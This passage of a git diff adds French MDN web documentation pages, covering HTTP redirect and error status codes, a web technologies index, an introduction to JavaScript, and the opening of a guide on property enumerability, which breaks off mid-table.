+ <dd>Ce code de réponse signifie que l'URI de la ressource demandée a été modifiée. Une nouvelle URI sera probablement donnée dans la réponse.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>Ce code de réponse indique que l'URI de la ressource demandée a été modifiée <em>temporairement</em>. De nouveaux changements dans l'URI pourront être effectués ultérieurement. Par conséquent, cette même URI devrait être utilisée par le client pour les requêtes futures.</dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>Le serveur a envoyé cette réponse pour diriger le client vers la ressource demandée via une autre URI en utilisant une requête GET.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>Ce code est utilisé pour des raisons de cache. Il indique au client que la réponse n'a pas été modifiée. De fait, le client peut continuer à utiliser la même version de la réponse, mise en cache.</dd>
+ <dt>{{HTTPStatus(305, "305 Use Proxy")}}</dt>
+ <dd>A été défini dans une version antérieure de la spécification HTTP pour indiquer qu'une réponse sollicitée doit transiter par un proxy. Ce code est aujourd'hui périmé pour des raisons de sécurité relatives à la configuration d'un proxy.</dd>
+ <dt>{{HTTPStatus(306, "306 unused")}}</dt>
+ <dd>Ce code de réponse n'est plus en service, son usage est actuellement réservé. Il était utilisé dans une version précédente de la spécification HTTP 1.1.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>Le serveur a envoyé cette réponse pour rediriger le client afin d'obtenir la ressource demandée via une autre URI, en utilisant la même méthode que précédemment. Ce code a la même sémantique que le code <code>302 Found</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>Cela signifie que la ressource a été déplacée de manière permante vers une autre URI, spécifiée dans l'en-tête de réponse HTTP <code>Location:</code>. Ce code a la même sémantique que le code <code>301 Moved Permanently</code>, à l'exception près que l'agent utilisateur <em>ne doit pas</em> changer la méthode HTTP utilisée : si <code>POST</code> était utilisé dans la première requête, alors <code>POST</code> doit être utilisé dans la seconde.</dd>
+</dl>
+
+<h2 id="Réponses_derreur_côté_client">Réponses d'erreur côté client</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>Cette réponse indique que le serveur n'a pas pu comprendre la requête à cause d'une syntaxe invalide.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>Une identification est nécessaire pour obtenir la réponse demandée. Ceci est similaire au code 403, mais dans ce cas, l'identification est possible.</dd>
+ <dt>{{HTTPStatus(402, "402 Payment Required")}}</dt>
+ <dd>Ce code de réponse est réservé à une utilisation future. Le but initial justifiant la création de ce code était l'utilisation de systèmes de paiement numérique. Cependant, il n'est pas utilisé actuellement.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>Le client n'a pas les droits d'accès au contenu, donc le serveur refuse de donner la véritable réponse.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>Le serveur n'a pas trouvé la ressource demandée. Ce code de réponse est principalement connu pour son apparition fréquente sur le web.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>La méthode de requête est connue du serveur mais a été désactivée et ne peut pas être utilisée. Les deux méthodes obligatoires, <code>GET</code> et <code>HEAD</code>, ne doivent jamais être désactivées et ne doivent pas retourner ce code d'erreur.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}} </dt>
+ <dd>Cette réponse est envoyée quand le serveur web, après une <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">négotiation de contenu géré par le serveur</a>, ne trouve rien qui satisfasse les critères donnés par l'agent utilisateur.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>Similaire au code 401, sauf que l'identification doit être faite par un proxy.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>Cette réponse est envoyée via une connexion en attente par certains serveurs, même sans qu'il y ait de requête préalable de la part du client. Cela signifie que le serveur aimerait fermer cette connexion inutilisée. Cette réponse est bien plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent des <a href="http://www.belshe.com/2011/02/10/the-era-of-browser-preconnect/">mécanismes de préconnexion HTTP</a> pour accélerer la navigation. Notez aussi que certains serveurs ferment simplement la connexion sans même envoyer ce message.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>Cette réponse est envoyée quand une requête entre en conflit avec l'état actuel du serveur.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>Cette réponse est envoyée quand le contenu demandé est supprimé du serveur.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>Le serveur a rejeté la requête car le champ d'en-tête <code>Content-Length</code> n'est pas défini et le serveur l'impose.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>Le client a indiqué des préconditions dans ses en-têtes que le serveur ne remplit pas.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>L'entité demandée est plus grosse que la limite définie par le serveur; le serveur peut fermer la connexion ou retourner un champ d'en-tête <code>Retry-After</code>.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>L'URI interrogé par le client est plus long que ce que le serveur est en mesure d'interpréter.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>Le format média des données demandées n'est pas supporté par le serveur, donc le serveur rejette la requête.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd>La plage spécifiée par le champ d'en-tête <code>Range</code> de la requête ne peut pas être satisfaite ; il est possible que la plage excède la taille des données provenant de l'URI ciblé.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>Ce code de réponse signifie que les attentes indiquées par le champ d'en-tête de requête <code>Expect</code> n'ont pas pu être satisfaites par le serveur.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>Le serveur refuse de brasser du café avec une théière.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>La requête a été envoyée à un serveur incapable de produire une réponse. Ce code peut être envoyé par un serveur qui n'a pas été configuré pour produire des réponses sujettes à la combinaison de schémas et d'identités incluse dans l'URI de la requête.</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La requête a bien été constituée mais n'a pas pu être traitée à cause d'erreurs sémantiques.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La ressource qui est en train d'être consultée est verrouillée.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>La requête a échoué à cause de l'échec d'une requête précédente.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>Le serveur refuse de traiter la requête en utilisant le protocole actuel mais peut accepter de le faire si le client opte pour un autre protocole. Le serveur <em>doit</em> envoyer un champ <code>Upgrade</code> dans l'en-tête de la réponse 426 pour indiquer le(s) protocole(s) demandé(s) (<a href="https://tools.ietf.org/html/rfc7230#section-6.7">Section 6.7 de [RFC7230]</a>).</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>Le serveur d'origine impose que la requête soit conditionnelle. Ceci est prévu pour empêcher le problème de 'perte de mise à jour', où un client récupère l'état d'une ressource avec GET, le modifie, et le renvoie au serveur avec PUT pendant qu'un tiers modifie l'état du serveur, ce qui conduit à un conflit.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>L'utilisateur a émis trop de requêtes dans un laps temps donné.</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>Le serveur n'est pas disposé à traiter la requête car les champs d'en-tête sont trop longs. La requête PEUT être renvoyée après avoir réduit la taille des en-têtes.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>L'utilisateur tente d'accéder à une ressource illégale, telle qu'une page censurée par un gouvernement.</dd>
+</dl>
+
+<h2 id="Réponses_derreur_côté_serveur">Réponses d'erreur côté serveur</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>Le serveur a rencontré une situation qu'il ne sait pas traiter.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>La méthode de requête n'est pas supportée par le serveur et ne peut pas être traitée. Les seules méthodes que les serveurs sont tenus de supporter (et donc pour lesquelles ils ne peuvent pas renvoyer ce code) sont <code>GET</code> et <code>HEAD</code>.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>Cette réponse d'erreur signifie que le serveur, alors qu'il fonctionnait en tant que passerelle pour recevoir une reponse nécessaire pour traiter la requête, a reçu une réponse invalide.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>Le serveur n'est pas prêt pour traiter la requête. Les causes les plus communes sont que le serveur est éteint pour maintenance ou qu'il est surchargé. Notez qu'avec cette réponse, une page ergonomique peut expliquer le problème. Ces réponses doivent être utilisées temporairement et le champ d'en-tête <code>Retry-After</code> doit, dans la mesure du possible, contenir une estimation de l'heure de reprise du service. Le webmestre doit aussi faire attention aux en-têtes de mise en cache qui sont envoyés avec cette réponse (qui ne doivent typiquement pas être mis en cache).</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>Cette réponse d'erreur est renvoyée lorsque le serveur sert de passerelle et ne peut pas donner de réponse dans les temps.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>La version de HTTP utilisée dans la requête n'est pas supportée par le serveur.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>Le serveur a une erreur de configuration interne : la négociation de contenu transparente pour la requête aboutit à une dépendance circulaire.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>Le serveur a une erreur de configuration interne : la ressource sélectionnée est configurée pour participer elle-même à une négociation de contenu transparente, et n'est par conséquent pas un n<span class="st">œ</span>ud terminal valable dans le processus de négociation.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Le serveur a détecté une boucle infinie en traitant la requête.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>Des extensions supplémentaires sont requises afin que le serveur puisse satisfaire la requête.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>Le code de statut 511 indique que le client doit s'authentifier afin de pouvoir accéder au réseau.</dd>
+ <dt>
+ <h2 id="Voir_aussi">Voir aussi</h2>
+
+ <ul>
+  <li><a href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Liste des codes de statut HTTP sur Wikipedia</a></li>
+  <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">Registre officiel des codes de statut HTTP par l'IANA</a><span style="display: none;"> </span></li>
+ </ul>
+ </dt>
+</dl>
diff --git a/files/fr/web/index.html b/files/fr/web/index.html
new file mode 100644
index 0000000000..b163873dc4
--- /dev/null
+++ b/files/fr/web/index.html
@@ -0,0 +1,112 @@
+---
+title: Technologies web pour développeurs
+slug: Web
+tags:
+  - Développement Web
+  - Technologie
+  - Web
+translation_of: Web
+---
+<p>Le Web ouvert offre une opportunité incroyable aux personnes qui veulent créer des sites ou des applications en ligne. Pour tirer le meilleur parti de ces technologies, il faut savoir comment les utiliser. Vous trouverez ci-dessous les liens vers notre documentation à propos des technologies web.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Technologies_web">Technologies web</h2>
+
+<h3 id="Les_bases">Les bases</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML">HTML</a></dt>
+ <dd><strong>HyperText Markup Language</strong> (langage de balisage hypertexte ou <strong>HTML</strong>) est le langage utilisé pour décrire et définir le <em>contenu</em> d'une page web.</dd>
+ <dt><a href="/fr/docs/Web/CSS">CSS</a></dt>
+ <dd><strong>Cascading Style Sheets</strong> (feuilles de style en cascade ou <strong>CSS</strong>) est utilisé pour décrire l'apparence du contenu d'une page web.</dd>
+ <dt><a href="/fr/docs/Web/HTTP">HTTP</a></dt>
+ <dd><strong><dfn>Hypertext Transfer Protocol <em>(HTTP</em>)</dfn></strong> est un protocole de <a href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a>, orienté client-serveur, qui permet le transfert de documents web tels que des documents HTML.</dd>
+</dl>
+
+<h3 id="Script">Script</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd><strong>JavaScript </strong>est le langage de programmation exécuté du côté de votre navigateur. Vous pouvez l'utiliser pour ajouter un côté interactif et dynamique a votre site web ou application.</dd>
+ <dd>Avec l'avènement de <a href="/fr/docs/Glossaire/Node.js">Node.js</a>, vous pouvez également exécuter JavaScript sur le serveur.</dd>
+ <dt><a href="/fr/docs/Web/API">Les API web</a></dt>
+ <dd>Les <strong>interfaces de programmation d'application Web (API Web)</strong> sont utilisées pour effectuer une variété de tâches, telles que la manipulation du <a href="/fr/docs/DOM">DOM</a>, la lecture audio ou vidéo, ou la génération de graphiques 3D.
+ <ul>
+  <li><a href="/fr/docs/Web/API">La référence des interfaces des différentes API web</a> : toutes les interfaces, triées par ordre alphabétique.</li>
+  <li><a href="/fr/docs/WebAPI">WebAPI</a> : cette page liste les API d’accès aux composants des appareils, ainsi que d’autres API utiles pour les applications.</li>
+  <li><a href="/fr/docs/Web/Events">La référence des évènements</a> décrit l'ensemble des évènements qui peuvent être utilisés pour réagir aux évènements marquants qui se sont produits dans une page web ou une application.</li>
+ </ul>
+ </dd>
+ <dt><a href="/fr/docs/Web/Web_Components">Web components</a></dt>
+ <dd><strong>Web Components</strong> est une suite de différentes technologies vous permettant de créer des éléments personnalisés réutilisables - avec leurs fonctionnalités encapsulées à l'écart du reste de votre code - et les utiliser dans vos applications Web.</dd>
+</dl>
+
+<h3 id="Graphiques">Graphiques</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML/Canvas">Canvas</a></dt>
+ <dd>L'élément {{HTMLElement("<em><strong>canvas</strong></em>")}} délivre des APIs pour dessiner des graphiques 2D utilisant Javascript.</dd>
+ <dt><a href="/fr/docs/Web/SVG">SVG</a></dt>
+ <dd><strong>Scalable Vector Graphics<em> </em>(SVG)</strong> permettent de décrire des images comme des ensembles de vecteurs et de formes afin de pouvoir changer leur taille librement sans pixellisation. Un des avantages du format SVG est qu'il est possible de redimensionner un dessin à l'infini, sans perdre aucun détail.</dd>
+ <dt><a href="/fr/docs/Web/WebGL">WebGL</a></dt>
+ <dd><strong>WebGL </strong>apporte des<strong> graphismes 3D sur le Web</strong> grâce à une API respectant OpenGL ES 2.0 et pouvant être utilisée sur les éléments HTML {{HTMLElement("canvas")}}.</dd>
+</dl>
+
+<h3 id="Audio_vidéo_multimédia">Audio, vidéo, multimédia</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media">Les technologies média Web</a></dt>
+ <dd>Une <strong>liste d'API</strong> avec des liens vers leurs documentations respectives.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Media/Overview">Aperçu des technologies multi-média du web</a></dt>
+ <dd>Un <strong>aperçu général</strong> des technologies Web ouvertes et des API qui prennent en charge la lecture, la manipulation et l’enregistrement audio et vidéo. Si vous ne savez pas quelle API vous devez utiliser, c'est ici que vous devez commencer.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/API/Media_Streams_API">Les API de capture et de diffusion multimédia</a></dt>
+ <dd>Une liste qui référence l'ensemble des API qui permettent de diffuser, enregistrer et modifier des flux médias, localement et au travers d'un réseau. Elle comprend l'utilisation des caméras et micros afin d'enregistrer de la vidéo de l'audio et des images.</dd>
+ <dt><a href="/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">Utiliser HTML5 audio et video</a></dt>
+ <dd><strong>Intégrer</strong> de la <strong>vidéo </strong>et / ou de l'<strong>audio </strong>dans une page Web et contrôler leur lecture.</dd>
+ <dt><a href="/fr/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>Le <strong>RTC</strong> dans <strong>WebRTC </strong>signifie <strong>Real-Time Communications</strong>, une technologie qui permet le streaming audio / vidéo et le partage de données entre les clients du navigateur (pairs/peers).</dd>
+</dl>
+
+<h3 id="Autres">Autres</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/MathML">MathML</a></dt>
+ <dd><strong>Mathematical Markup Language</strong> (langage de balisage mathématique) rend possible l'affichage d'équations mathématiques complexes.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Apprendre">Apprendre</h2>
+
+<dl>
+ <dt><a href="/fr/Apprendre">Apprendre le développement web</a></dt>
+ <dd>Cet ensemble d'articles couvre tout ce qu'il est nécessaire de savoir pour commencer à développer des sites web simples.</dd>
+ <dt><a href="/fr/Apps/Progressive">Applications Web Progressives</a></dt>
+ <dd>Les <strong>applications Web progressistes</strong> utilisent des API Web modernes ainsi qu'une stratégie d'amélioration progressive traditionnelle pour créer des applications Web multiplateformes. Ces applications fonctionnent partout et offrent plusieurs fonctionnalités qui leur offrent les mêmes avantages que les applications natives. Cet ensemble de documents et de guides vous dit tout ce que vous devez savoir sur les PWA.</dd>
+</dl>
+
+<h3 id="Autres_sujets">Autres sujets</h3>
+
+<dl>
+ <dt><a href="/fr/Apps">Développer des applications web</a></dt>
+ <dd>Documentation pour développeurs d'applications web. Les applications web sont écrites une fois et déployées partout : sur mobile et ordinateurs.</dd>
+ <dt><a href="/fr/docs/Accessibilité">Accessibilité</a></dt>
+ <dd>L’accessibilité, en développement web, signifie faire en sorte qu’un maximum de personnes, même celles présentant des handicaps, puissent visiter des sites web. Cette section fournit des informations sur la manière de rendre le contenu accessible.</dd>
+ <dt><a href="/fr/docs/Web/Localization">Localisation (L10n) et Internationalisation (I18n)</a></dt>
+ <dd>Le web a une communauté mondiale ! Faites en sorte que votre site ou application en fasse partie en gardant à l'esprit de diffuser le contenu et son organisation dans la langue de vos utilisateurs.</dd>
+ <dt><a href="/fr/docs/Web/Security">Sécurité</a></dt>
+ <dd>Les techniques pour assurer la sécurité de votre site web ou application.</dd>
+ <dt><a href="/fr/docs/WebAssembly">WebAssembly</a></dt>
+ <dd><strong>WebAssembly </strong>est un nouveau type de code qui peut être exécuté dans les navigateurs Web modernes. Il s'agit d'un langage de type bas niveau avec un format binaire compact qui fonctionne avec des performances quasi natives et fournit des langages tels que C / C ++ avec une cible de compilation afin qu'ils puissent fonctionner sur le web. Il est également conçu pour fonctionner avec JavaScript, permettant aux deux de travailler ensemble.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/fr/docs/tag/Web">Voir tout…</a></span></p>
+</div>
+</div>
diff --git a/files/fr/web/javascript/a_propos/index.html b/files/fr/web/javascript/a_propos/index.html
new file mode 100644
index 0000000000..aeb4c07c17
--- /dev/null
+++ b/files/fr/web/javascript/a_propos/index.html
@@ -0,0 +1,65 @@
+---
+title: À propos de JavaScript
+slug: Web/JavaScript/A_propos
+tags:
+  - Débutant
+  - Intro
+  - JavaScript
+translation_of: Web/JavaScript/About_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<h2 id="Qu'est-ce_que_JavaScript">Qu'est-ce que JavaScript ?</h2>
+
+<p><a class="external" href="https://fr.wikipedia.org/wiki/JavaScript">JavaScript</a><sup>®</sup>, souvent abrégé en JS, est le langage de script développé par Netscape utilisé dans des millions de pages web et d'applications serveur dans le monde entier. Le JavaScript de Netscape est une extension du langage de script standard ECMA-262 Edition 3 (ECMAScript), ne différant que légèrement des standards publiés. JavaScript est un langage léger, interprété, orienté objet (les fonctions étant des objets à part entière). Il est <a href="https://fr.wikipedia.org/wiki/Programmation_orient%C3%A9e_prototype">orienté prototype</a>, multi-paradigme étant dynamique, impératif et fonctionnel à la fois</p>
+
+<p>Contrairement à une conception populaire, <em>JavaScript n'est pas « du Java interprété »</em>. En quelques mots, JavaScript est un langage de script dynamique utilisant une construction d'objets basée sur des prototypes. La syntaxe de base est volontairement similaire à Java et à C++ pour réduire le nombre de concepts nouveaux à assimiler par un débutant. Les structures de contrôle, telles que les instructions <code>if</code>, les boucles <code>for</code> et <code>while</code>, les blocs <code>switch</code> et <code>try..catch</code> fonctionnent de la même manière que dans ces langages (ou presque).</p>
+
+<p>JavaScript peut être employé en tant que langage <a class="external" href="https://fr.wikipedia.org/wiki/Programmation_procédurale">procédural</a> ou <a class="external" href="https://fr.wikipedia.org/wiki/Programmation_orientée_objet">orienté objet</a>. Les objets sont créés par le programme et des méthodes et des propriétés lui sont attachés lors de l'exécution, contrairement aux définitions de classes courantes dans les langages compilés comme C++ et Java. Une fois qu'un objet a été construit, il peut servir de modèle (ou prototype) pour créer des objets similaires.</p>
+
+<p>Parmi les capacités dynamiques de JavaScript, on peut citer la construction d'objets à l'exécution, les listes de paramètres variables, les fonctions comme variables, la création des scripts dynamique (via <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval">eval</a></code>), le parcours d'objets (via <a href="/fr/docs/Web/JavaScript/Reference/Instructions/for...in"><code>for ... in</code></a>), et la récupération du code source (les programmes JavaScript peuvent décompiler les corps de fonction pour retrouver le code source).</p>
+
+<p>Pour une description approfondie de la programation en JavaScript, consultez les liens de la section <a href="#Ressources_JavaScript">ressources JavaScript</a> ci-dessous.</p>
+
+<h2 id="Les_implémentations_de_JavaScript_disponibles">Les implémentations de JavaScript disponibles</h2>
+
+<p>Mozilla héberge deux implémentations de JavaScript. La première <strong>au monde</strong> est celle créée par Brendan Eich chez Netscape, et depuis mise à jour pour se conformer à la cinquième édition d'ECMA-262 (aussi appelé ECMAScript 5). Ce moteur, portant le nom de code <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a>, est implémenté en C. Le moteur <a href="/fr/docs/Rhino">Rhino</a>, créé principalement par Norris Boyd (également chez Netscape) est une implémentation de JavaScript en Java. Comme SpiderMonkey, Rhino suit la spécification ECMA-262 Edition 5.</p>
+
+<p>Plusieurs optimisations ont été apportées au moteur JavaScript au fur et à mesure, parmi lesquelles on peut citer : TraceMonkey (Firefox 3.5), JägerMonkey (Firefox 4) et IonMonkey.</p>
+
+<p>En plus de ces implémentations, il existe d'autres moteurs JavaScript largement utilisés comme :</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://code.google.com/p/v8/" title="https://code.google.com/p/v8/">V8</a> de Google, qui est utilisé dans le navigateur Google Chrome et dans les versions récentes du navigateur Opéra.</li>
+ <li><a class="external external-icon" href="https://www.webkit.org/projects/javascript/index.html" title="https://www.webkit.org/projects/javascript/index.html">JavaScriptCore</a> (SquirrelFish/Nitro) utilisé dans certains navigateurs WebKit tels que Safari, d'Apple.</li>
+ <li><a class="external external-icon" href="https://my.opera.com/ODIN/blog/carakan-faq" title="https://my.opera.com/ODIN/blog/carakan-faq">Carakan</a> est utilisé dans les anciennes versions d'Opera.</li>
+ <li>Le moteur <a class="external external-icon" href="https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29" title="https://en.wikipedia.org/wiki/Chakra_%28JScript_engine%29">Chakra</a> est utilisé dans Internet Explorer (bien que le langage qu'il implémente soit formellement appelé « JScript » pour des raisons de droits des marques).</li>
+</ul>
+
+<p>Chacun des moteurs JavaScript de Mozilla expose une API publique que les applications peuvent appeler pour utiliser JavaScript. L'environnement hôte le plus courant pour JavaScript est, de loin, un navigateur Web. Les navigateurs utilisent typiquement l'API publique pour créer des « objets hôtes », reflétant le <a href="/fr/docs/DOM">DOM</a> en JavaScript.</p>
+
+<p>Une autre utilisation courante de JavaScript est d'être un langage de script côté serveur (Web). Un serveur web JavaScript exposerait, lui, des objets hôtes représentant les requêtes HTTP et leurs réponses, qui peuvent ensuite être manipulées par un programme JavaScript pour générer dynamiquement des pages Web.</p>
+
+<h2 id="Ressources_JavaScript">Ressources JavaScript</h2>
+
+<dl>
+ <dt><a href="/fr/docs/SpiderMonkey">SpiderMonkey</a></dt>
+ <dd>Informations concernant l'intégration du moteur JavaScript en C/C++ (SpiderMonkey).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Rhino">Rhino</a></dt>
+ <dd>Informations concernant l'intégration du moteur JavaScript en Java (Rhino).</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Language_Resources">Ressources sur le langage JavaScript</a></dt>
+ <dd>Liens vers les standards JavaScript publiées.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Une_réintroduction_à_JavaScript">Une réintroduction à JavaScript</a></dt>
+ <dd><a href="/fr/docs/Web/JavaScript/Guide">Le guide JavaScript</a> et <a href="/fr/docs/Web/JavaScript/Reference">la référence JavaScript</a></dd>
+</dl>
+
+<p>JavaScript® est une marque déposée d'Oracle aux États-Unis et dans d'autres pays.</p>
diff --git a/files/fr/web/javascript/caractère_énumérable_des_propriétés_et_rattachement/index.html b/files/fr/web/javascript/caractère_énumérable_des_propriétés_et_rattachement/index.html
new file mode 100644
index 0000000000..a4d1574b35
--- /dev/null
+++ b/files/fr/web/javascript/caractère_énumérable_des_propriétés_et_rattachement/index.html
@@ -0,0 +1,326 @@
+---
+title: Rattachement et caractère énumérable des propriétés
+slug: Web/JavaScript/Caractère_énumérable_des_propriétés_et_rattachement
+tags:
+  - Guide
+  - Intermédiaire
+  - JavaScript
+translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Les propriétés dites « énumérables » sont celles pour lesquelles la caractéristique interne <code>[[Enumerable]]</code> vaut <code>true</code>. C'est le cas par défaut pour les propriétés qui sont créées grâce à une affectation simple ou grâce à un initialisateur de propriété. Les propriétés définies avec des méthodes analogues à {{jsxref("Object.defineProperty()")}} auront <code>[[Enumerable]]</code> à <code>false</code>). Les propriétés énumérables sont celles qui seront parcourues dans une boucle {{jsxref("Instructions/for...in","for..in")}} (sauf si le nom de la propriété est un {{jsxref("Symbol")}}).</p>
+
+<p>Le rattachement des propriétés est détérminé selon que la propriété est directement rattachée à l'objet et non à sa chaîne de prototypes. Il est également possible de récupérer l'ensemble des propriétés d'un objet. Dans le tableau suivant, on détaille les moyens possibles pour détecter, parcourir, énumérer, récupérer les propriétés d'un objet.</p>
+
+<div style="overflow: auto; width: 100%;">
+<table>
+ <caption>Caractère énumérable et rattachement - méthodes natives pour détecter, récupérer et parcourir les propriétés</caption>
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Rattachement direct à l'objet</th>
+   <th>Rattachement direct à l'objet et sur la chaîne de prototypes</th>
+   <th>Uniquement sur la chaîne de prototypes</th>
+  </tr>
+  <tr>
+   <td>Détection</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Énumérables</th>
+       <th scope="col">Non-énumérables</th>
+       <th scope="col">Toutes</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable">propertyIsEnumerable()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty">hasOwnProperty()</a></code></p>
+       </td>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty">hasOwnProperty()</a> - </code>en utilisant <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable">propertyIsEnumerable()</a></code> afin d'exclure les propriétés énumérables</td>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/hasOwnProperty">hasOwnProperty()</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Énumerables</th>
+       <th scope="col">Non-énumérables</th>
+       <th scope="col">Toutes</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+       <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+       <td><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_in">in</a></code></td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td>Cette fonctionnalité n'est pas disponible sans code supplémentaire.</td>
+  </tr>
+  <tr>
+   <td>Récupération</td>
+   <td>
+    <table>
+     <thead>
+      <tr>
+       <th scope="col">Énumérables</th>
+       <th scope="col">Non-énumérables</th>
+       <th scope="col">Toutes</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/keys">Object.keys()</a></code></p>
+
+        <p><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/getOwnPropertyNames">getOwnPropertyNames()</a></code></p>
+
